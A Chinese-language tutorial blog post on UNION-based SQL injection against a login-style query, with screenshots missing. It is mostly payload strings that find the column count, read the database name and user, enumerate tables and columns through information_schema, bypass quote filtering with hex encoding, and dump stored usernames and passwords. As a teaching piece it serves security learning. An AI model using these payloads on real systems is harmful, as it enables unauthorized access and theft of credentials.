sql注入

sql注入之联合注入

1、 首先一个sql查询语句中一定是查询表的内容,联合注入首先必须知道表内字段数,判断表内字段数语句:

select *  from  user  where  username="{$input}";)注入语句: ' order  by 1#(--+)

在这里插入图片描述

循环操作改内容

select *  from  user  where  username="{$input}";)注入语句: ' order  by 5#(--+)

在这里插入图片描述
由上图可以看出该数据库字段数为4.

2·、爆数据库,爆当前用户,当前数据库版本
由该例子来说,首先根据输出的内容判断字段输出位置

select *  from  user  where  username="{$input}";)注入语句:' union  select 1,1,4#(--+)

在这里插入图片描述

接下来进行爆内容:

select *  from  user  where  username="{$input}";)注入语句:' union  select  1,user(),3,database()#(--+)

在这里插入图片描述
通过以上信息可以看出数据库操作权限是root,数据库是users。

2、 我们要的是字段数据库内容所以继续爆表

select *  from  user  where  username="{$input}";)注入语句:' union  select 1,1,1,table_name  from information_schema.tables  where  table_schema=database()#(--+)

在这里插入图片描述

针对单双引号过滤对齐使用编码绕过:

select *  from  user  where  username="{$input}";)注入语句:' union  select 1,1,1,table_name  from information_schema.tables  where  table_schema=0x7573657273#(--+)

在这里插入图片描述

3、 接下来是表中字段进行爆破

select *  from  user  where  username="{$input}";)注入语句:' union  select 1,1,1,column_name  from information_schema.columns  where  table_schema=database() and table_name="user"#(--+)

在这里插入图片描述

4、 表的字段内容进行爆破

select *  from  user  where  username="{$input}";)注入语句:' union  select  1,username,3, password  from  user#(--+)

在这里插入图片描述

也可以只显示一条,在实战过程可能只能输出一条结果 巧用 limit(“显示第几条”,“显示条数”)

select *  from  user  where  username="{$input}";)注入语句:' union  select  1,username,3, password  from  user limit 1,1#(--+)

在这里插入图片描述

到此以拿获数据库账号密码!!!

(菜菜一个不喜勿喷)此文章仅供学习、参考!!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值